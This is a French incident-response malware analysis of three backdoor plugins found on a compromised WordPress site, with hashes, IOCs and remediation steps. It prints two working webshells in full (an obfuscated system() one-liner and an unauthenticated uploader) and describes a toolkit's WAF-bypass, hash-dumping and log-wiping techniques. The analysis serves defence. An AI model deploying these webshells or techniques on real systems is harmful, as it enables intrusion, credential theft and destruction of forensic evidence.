Contexte de la découverte

Au cours d’une intervention de réponse a incident sur un site WordPress compromis, trois plugins suspects ont été identifiés dans le répertoire wp-content/plugins/. Aucun de ces plugins ne correspond à un plugin officiel WordPress. Leur analyse révèle un dispositif de compromission en couches, déployé sur trois jours.

Plugin Type Taille Sophistication Rôle
flexible-analytics Webshell 196 o Très faible Backdoor furtive à un paramètre
utility-framework-692 Uploader 987 o Faible Upload de fichiers + bypass SSL
wordpress-configurator-optimizer Toolkit 71 842 o Élevée Panneau post-exploitation complet

Chronologie de la compromission

Les horodatages des fichiers (timestamps mtime) permettent de reconstituer la séquence de déploiement. Les trois fichiers ont été déposés entre minuit et une heure du matin, à 24h d’intervalle :

  • 12 juin, 00:58 : Déploiement du toolkit principal, wordpress-configurator-optimizer.php (71 Ko, 1 516 lignes). Panneau d’administration offensif complet avec authentification, exécution de commandes, création d’administrateurs WordPress, dump de base de données et nettoyage de logs.
  • 13 juin, 00:55 : Déploiement du webshell d’upload, utility-framework-692.php (987 octets). Formulaire d’upload sans authentification et fonction de bypass SSL.
  • 14 juin, 00:47 : Déploiement de la backdoor minimale, flexible-analytics.php (196 octets). One-liner obfusqué exécutant des commandes via un paramètre GET.

 

Plugin 1 : flexible-analytics

Identification

Nom déclaré flexible-analytics
Version 1.0
Fichiers 1 fichier PHP unique (196 octets)
SHA-256 6d63b3aa2b942de7a3305155c17eca26297cc0f45b8d0da851edafbfb7e308ac
MD5 fb4fa63ee6d405b04933251a56ede88f

Analyse du code

L’intégralité du code tient en une ligne :

<?php
/**
 * Plugin Name: flexible-analytics
 * Version: 1.0
 */
$bleideik=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$rghhbtl=$bleideik;
if(isset($_GET["z960"]))$rghhbtl($_GET["z960"]);

Déobfuscation

La séquence d’appels chr() reconstruit simplement le mot system caractère par caractère : chr(115) = s, chr(121) = y, chr(115) = s, chr(116) = t, chr(101) = e, chr(109) = m. Le code déobfusqué revient donc à : if(isset($_GET["z960"])) system($_GET["z960"]);

L’attaquant exécute alors des commandes système en accédant à une URL du type /wp-content/plugins/flexible-analytics/flexible-analytics.php?z960=id.

Techniques d’obfuscation

  • Construction dynamique du nom de fonction via chr() pour éviter la détection par signature sur le mot-clé system
  • Noms de variables aléatoires ($bleideik, $rghhbtl) pour échapper aux heuristiques

Comportement et objectif

La petite taille et l’absence d’interface font de ce plugin un implant de persistance furtif. Il ne génère aucune sortie en l’absence du paramètre z960, le rendant invisible aux visiteurs et administrateurs en faisant une backdoor de secours, difficile à repérer lors d’un audit de surface.

 

Plugin 2 : utility-framework-692

Identification

Nom déclaré Utility Framework 692
Version 1.6.4
Auteur déclaré WP Core (usurpé)
Fichiers 1 fichier PHP unique (987 octets)
SHA-256 cedec18b58cd2092ecf3be0220af55d4cdbbdf0f4661024864d53fc251efd0f8
MD5 c40dcef89d8be09841a565077ff2ae8c

Analyse du code

Webshell d’upload

echo '<center>Telegram: @WebshellSR <br>Contact : @Devco1 & @BIBIL0DAY<br>'
  .php_uname()."<br/>"
  .'<form method="post" enctype="multipart/form-data">'
  .'<input type="file" name="__">'
  .'<input name="_" type="submit" value="Upload"></form>';

if($_POST){
  if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){
    echo 'OK';
  } else {
    echo 'ER';
  }
}

Le script affiche les informations système via php_uname() et présente un formulaire d’upload sans aucune authentification. N’importe quel visiteur connaissant l’URL peut uploader un fichier arbitraire sur le serveur. Le fichier est copié avec son nom original dans le répertoire courant, sans aucune vérification de type, d’extension ou de taille.

Fonction de bypass SSL

function ssl_bypass_curl($url, $post_data = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // ...
}

La désactivation de la vérification SSL (CURLOPT_SSL_VERIFYPEER et CURLOPT_SSL_VERIFYHOST à false) facilite les communications sortantes vers des serveurs de Command & Control (C2) sans blocage par la vérification de certificat. La fonction n’est pas appelée dans ce fichier mais reste disponible pour des scripts uploadés ultérieurement.

Comportement et objectif

Ce plugin combine deux fonctions : dropper (dépôt de fichiers supplémentaires) et utilitaire réseau (bypass SSL pour les communications sortantes).

 

Plugin 3 : wordpress-configurator-optimizer

Identification

Nom déclaré WordPress Configurator Optimizer
Version 2.4.1
Auteur déclaré Developer Tools Team (fictif)
URI plugin https://wordpress.org/plugins/wordpress-configurator-optimizer/ (fictif)
Licence GPL v2 (usurpée)
Fichiers 1 fichier PHP unique (71 842 octets, 1 516 lignes)
SHA-256 77cf2af32729c7f3b20592104da12b7d6bb8e4a747ac3fa800ca6f8bc43f3395
MD5 f27fc453a98f5a1e8bc3c18c2534e3a3
Les métadonnées du plugin imitent délibérément un plugin WordPress légitime (nom générique, URL wordpress.org, licence GPL, description crédible). L’URI du plugin et l’URI de l’auteur ne correspondent à aucun plugin officiel. Ce fichier est l’élément principal de l’arsenal : il s’agit d’un panneau de post-exploitation complet proposant six modules fonctionnels derrière une interface graphique imitant le back-office WordPress.

Module 1, authentification et anti-détection

error_reporting(0);
@ini_set('display_errors', 0);
session_start();

$auth_pass = 'c8a88e504dfc8f35f7369480438bcae7';
$session_name = 'wp_admin_session_' . substr(md5($_SERVER['HTTP_HOST']), 0, 8);

La suppression des erreurs PHP rend le webshell invisible dans les logs d’erreurs. L’accès est protégé par un mot de passe dont le hash MD5 est c8a88e504dfc8f35f7369480438bcae7. Le nom de session est dynamique et préfixé avec wp_admin_session_, permettant un fonctionnement multi-sites sans collision. La page de login imite l’écran de connexion WordPress.

Module 2, moteur d’exécution de commandes

Il implémente 10 méthodes distinctes de contournement de WAF pour exécuter des commandes système, même lorsque des fonctions comme system() sont bloquées :

# Méthode Technique
1 PHP Filter chains Inclusion via data:// et php://filter
2 Unicode bypass Reconstruction via échappements hexadécimaux et Unicode
3 Variable variables Construction dynamique via variables indirectes
4 Internal functions array_map('chr', [...]) pour reconstruire le nom
5 ReflectionFunction Invocation via l’API de réflection PHP
6 WordPress-specific Abus de wp_remote_get() et WP_Filesystem
7 Encoding chain ROT13, Base64, Hex pour encoder system
8 PHP wrapper abuse Wrappers php://filter, compress.zlib://
9 Fragmentation str_split('system', 2) puis réassemblage
10 Fonctions alternatives Fallback vers shell_exec, exec, passthru, proc_open, popen

En dernier recours, le code tente assert() et eval() avec obfuscation supplémentaire. Cette cascade garantit l’exécution de commandes sur la quasi-totalité des configurations PHP, y compris avec des fonctions partiellement désactivées via disable_functions.

Module 3, création d’administrateurs WordPress

Pour comprendre la technique utilisée ici, il faut savoir comment WordPress gère les droits d’accès. Le système repose sur deux couches distinctes :

  • Les rôles (administratoreditorsubscriber…) sont des étiquettes qui regroupent un ensemble de permissions. Quand on attribue le rôle administrator a un utilisateur, WordPress lui accorde d’un bloc toutes les permissions associées a ce rôle.
  • Les capabilities sont les permissions unitaires elles-mêmes : edit_postsinstall_pluginsdelete_users, etc. Ce sont elles qui déterminent concrètement ce qu’un utilisateur peut faire. Un rôle n’est qu’un raccourci pour attribuer un lot de capabilities d’un coup.

En temps normal, ces deux couches sont synchronisées : attribuer un rôle accorde les capabilities correspondantes, retirer le rôle les révoque. Mais WordPress permet aussi d’ajouter des capabilities individuellement a un utilisateur, indépendamment de son rôle. C’est exactement ce qu’exploite le toolkit.

require_once($wp_files['wp_load']);
$user_id = wp_create_user($username, $password, $email);
$user = new WP_User($user_id);
$user->set_role('administrator');
// + attribution explicite de 40+ capabilities

Le code attribue d’abord le rôle administrator, puis ajoute une par une plus de 40 capabilities directement sur l’utilisateur (dont unfiltered_uploadedit_filesupdate_coreinstall_plugins). Ces capabilities individuelles sont stockées séparément en base de données, dans la table wp_usermeta.

C’est une technique de persistance par redondance. En effet, un administrateur légitime qui détecterait le compte suspect et lui retirerait le rôle administrator supprimerait les permissions liées au rôle, mais les 40+ capabilities ajoutées individuellement resteraient actives. Inversement, un nettoyage qui purgerait les capabilities custom sans toucher au rôle laisserait un administrateur pleinement fonctionnel. Il faut faire les deux pour neutraliser complétement le compte.

 

Module 4, dump massif des utilisateurs

Le module :

  • Parse wp-config.php via regex pour extraire les identifiants de base de données
  • Se connecte directement à MySQL via mysqli, contournant l’API WordPress
  • Implémente une pagination par ID avec gestion de lots (batch de 1 000) pour les bases volumineuses
  • Augmente les limites d’exécution (max_execution_time = 600, memory_limit = 512M)
  • Exporte en deux formats : username:email:hash et email:hash (directement utilisable par Hashcat ou John the Ripper)
  • Inclut le fichier wp-config.php complet dans l’archive, exposant tous les secrets (identifiants BDD, clés de salage, secrets d’authentification)
  • Génère une archive ZIP (ou TAR en fallback) téléchargeable

Module 5, upload de fichiers

Upload de fichiers arbitraires dans un répertoire configurable avec chmod 0755 automatique et limite de 100 Mo. Permet le déploiement de malwares supplémentaires.

Module 6, console interactive

Terminal web exécutant les commandes via le moteur de bypass WAF. Inclut des quick commands pré-définis pour la reconnaissance : whoami, ps aux, netstat -an, find / -perm -4000 (recherche de binaires SUID pour l’escalade de privilèges), crontab -l, etc.

Module 7, anti-forensics (Clean logs)

Un module de nettoyage de traces complet qui tente de :

  • Supprimer tous les fichiers créés par le toolkit (suivis via un log interne tool_wp.log)
  • Effacer les historiques shell (~/.bash_history, ~/.zsh_history)
  • Vider les logs Apache, Nginx et httpd (access.log, error.log)
  • Vider les logs système (/var/log/auth.log, /var/log/syslog, /var/log/messages)
  • Purger le journal systemd (journalctl --vacuum-time=1d)
  • Supprimer les sessions PHP et fichiers temporaires
  • Sur Windows : effacer les journaux d’événements via wevtutil cl, les fichiers temporaires et les logs IIS
Le code indique explicitement que « The shell file itself will NOT be deleted ». La backdoor persiste après le nettoyage des traces.

 

Indicateurs de compromission (IOCs)

Chemins de fichiers suspects

Chemin Type
wp-content/plugins/flexible-analytics/flexible-analytics.php Backdoor RCE
wp-content/plugins/utility-framework-692/utility-framework-692.php Webshell + Uploader
wp-content/plugins/wordpress-configurator-optimizer/wordpress-configurator-optimizer.php Toolkit post-exploitation
tool_wp.log Log interne du toolkit
wp_dump_*.zip / wp_dump_*.tar Archives de dump utilisateurs

Signatures et patterns de detection

Pattern Contexte
$_GET[“z960”] Parametre de la backdoor flexible-analytics
c8a88e504dfc8f35f7369480438bcae7 Hash MD5 du mot de passe du toolkit
wp_admin_session_ Préfixe de session du toolkit
@WebshellSR / @Devco1 / @BIBIL0DAY Signatures Télégram
tool_wp.log Fichier de log du toolkit
SHELL_INITIALIZED Marqueur de log
WP_ADMIN_CREATE_SUCCESS Marqueur de log
WP_USERS_DUMP_SUCCESS Marqueur de log
ssl_bypass_curl Fonction de bypass SSL
$bleideik / $rghhbtl Variables obfusquées

Recommandations

Une fois l’analyse réalisée, voici les recommandations prioritaires que nous avons proposées :
  1. Mettre le site hors ligne (mode maintenance ou coupure de l’accès web)
  2. Sauvegarder l’état actuel : copie complète avant toute modification
  3. Supprimer les trois plugins et vérifier l’absence de tool_wp.log, wp_dump_*.zip, wp_dump_*.tar
  4. Changer les mots de passe de l’ensemble des utilisateur et révoquer toutes les sessions WordPress
  5. Changer immédiatement les identifiants de base de données dans wp-config.php
  6. Regénérer les clés de salage WordPress (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY et les SALT)

 

Pour aller encore plus loin, il est également possible de :

  1. Comparer les fichiers core WordPress avec une version saine pour détecter les autres fichiers modifiés/backdoors
  2. Vérifier les tâches cron (WP-Cron et cron système) pour des tâches planifiées malveillantes
  3. Changer les accès FTP/SFTP/panel d’hébergement (cPanel, Plesk, autre)
  4. Changer les clés API/secrets tiers utilisés par le site (paiement, mailing, intégrations)
  5. Vérifier/changer les accès SSH si présents
  6. Vérifier les permissions fichiers